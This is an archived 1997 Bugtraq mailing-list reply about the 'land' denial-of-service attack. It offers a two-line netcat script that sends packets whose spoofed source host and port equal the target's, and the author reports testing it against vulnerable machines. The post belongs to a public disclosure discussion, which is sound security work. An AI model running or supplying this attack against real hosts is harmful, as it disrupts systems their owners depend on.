Bugtraq mailing list archives

Re: 44BSD port of land.c


From: deviant () unixnet org (Peter)
Date: Sat, 22 Nov 1997 08:00:52 +0000


On Fri, 21 Nov 1997, blast wrote:

For those of you who don't have all the "fancy" LINUX
networking includes, here is a port to 44BSD flavors.
Should compile fine on FreeBSD, NetBSD, OpenBSD, BSDi, etc.
Enjoy.
-blast

This seems to work, as long as you've got NetCat:

-----
#!/bin/bash
nc -s $1 -p $2 $1 $2
-----

where $1 is the host, and $2 is the port (139,23, 25, whatever)

I've tested this against several of the reported box types, and it seems
to perform as Aleph's list says, so I'm assuming it works.

 -- Peter
   PGP KeyID = 4920E659 Fingerprint = 49868A89662AF7F7 777E813ED64EAACE

The only constant is change.



Current thread: